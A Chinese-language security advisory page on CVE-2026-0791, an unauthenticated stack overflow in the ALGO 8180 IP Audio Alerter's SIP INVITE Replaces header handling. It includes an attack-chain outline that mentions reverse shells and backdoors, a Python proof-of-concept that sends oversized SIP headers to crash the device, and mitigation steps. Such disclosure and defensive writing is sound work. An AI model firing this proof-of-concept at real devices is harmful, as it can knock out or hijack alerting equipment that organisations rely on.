IPBUF安全漏洞报告
English
CVE-2026-0791 CVSS 9.8 严重

CVE-2026-0791 ALGO 8180 IP Audio Alerter SIP INVITE Replaces栈缓冲区溢出远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0791
漏洞类型
缓冲区溢出/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ALGO 8180 IP Audio Alerter

相关标签

缓冲区溢出远程代码执行SIP协议栈溢出无需认证ALGO 8180IP Audio AlerterZDI-CAN-28300网络设备漏洞关键严重度

漏洞概述

CVE-2026-0791是ALGO 8180 IP Audio Alerter设备中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞为栈缓冲区溢出(Stack-based Buffer Overflow)导致的远程代码执行(RCE)漏洞,存在于设备的SIP(Session Initiation Protocol)协议实现中。攻击者可以通过发送特制的SIP INVITE请求来触发此漏洞,无需任何认证即可在目标设备上执行任意代码。此漏洞影响使用该设备进行IP音频告警的企业和组织,攻击者可能完全控制设备并将其作为进一步渗透网络的内网跳板。由于该设备通常部署在关键业务环境中,漏洞的潜在危害极为严重。

技术细节

该漏洞的根本原因在于ALGO 8180设备对SIP INVITE请求中Replaces header字段的处理存在栈缓冲区溢出问题。当设备接收到包含Replaces header的SIP INVITE请求时,程序将用户提供的Replaces header值复制到固定长度的栈缓冲区中,但缺乏对数据长度的有效验证。如果攻击者发送的Replaces header值超过缓冲区容量,多余的数据将溢出到栈上的返回地址和其他关键数据结构中,覆盖这些区域后可以控制程序执行流程,最终实现任意代码执行。由于该处理发生在SIP协议解析阶段,且设备默认配置允许接收网络上的SIP请求,攻击者只需能够向设备的SIP端口(通常为5060)发送UDP数据包即可利用此漏洞,无需任何认证凭据。ZDI编号为ZDI-CAN-28300。

攻击链分析

STEP 1
信息收集
攻击者识别目标网络上运行ALGO 8180 IP Audio Alerter设备的IP地址,并确认其SIP服务端口(5060/UDP)处于开放状态
STEP 2
构造攻击载荷
攻击者构造包含超长Replaces header值的SIP INVITE请求,payload长度超过设备处理函数中固定栈缓冲区的容量(通常为256-512字节)
STEP 3
发送恶意请求
攻击者通过UDP协议向目标设备的SIP端口发送特制的INVITE请求,无需任何认证即可触发漏洞
STEP 4
触发缓冲区溢出
设备SIP协议栈在处理Replaces header时,将超长数据复制到固定长度栈缓冲区,导致栈内存布局被破坏
STEP 5
控制程序执行
溢出的数据覆盖栈上的返回地址和保存的寄存器值,攻击者通过构造合适的ROP链或shellcode控制程序跳转到恶意代码
STEP 6
实现远程代码执行
攻击者在目标设备上执行任意代码,可以是反弹shell、植入后门或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-0791 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Replaces Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. """ import socket import sys def send_malicious_sip_request(target_ip, target_port=5060): """ Send a crafted SIP INVITE request with an oversized Replaces header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Generate oversized Replaces header value (exceeds fixed buffer size) # Typical buffer size is around 256-512 bytes, so we use 2000+ bytes overflow_payload = "A" * 2000 # Construct malicious SIP INVITE request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch=z9hG4bK{overflow_payload}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>;tag={overflow_payload}\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload}@{(socket.gethostbyname(target_ip))}\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Replaces: {overflow_payload}\r\n" # Trigger the vulnerability sip_request += "Contact: <sip:attacker@attacker_ip>\r\n" sip_request += "Content-Type: application/sdp\r\n" sip_request += "Content-Length: 0\r\n" sip_request += "\r\n" print(f"[*] Sending malicious SIP INVITE request to {target_ip}:{target_port}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(sip_request.encode(), (target_ip, target_port)) print("[+] Malicious request sent successfully") # Wait for response try: data, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}: {data[:100]}...") except socket.timeout: print("[!] No response received (possible crash or filtering)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 send_malicious_sip_request(target, port)

影响范围

ALGO 8180 IP Audio Alerter 固件版本 < 最新修复版本

防御指南

临时缓解措施
由于目前厂商尚未发布官方修复补丁,建议采取以下临时缓解措施:1)通过网络分段将ALGO 8180设备隔离到独立的VLAN中,限制对其SIP端口的直接访问;2)在防火墙或网络边界设备上实施严格的访问控制策略,仅允许授信IP地址访问设备的管理和SIP端口;3)监控设备日志和网络流量,检测异常的SIP INVITE请求模式;4)考虑在SIP代理或会话边界控制器(SBC)上实施输入验证,过滤包含超长header值的请求;5)如非必要,可考虑暂时禁用设备的SIP功能或使用非标准端口减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表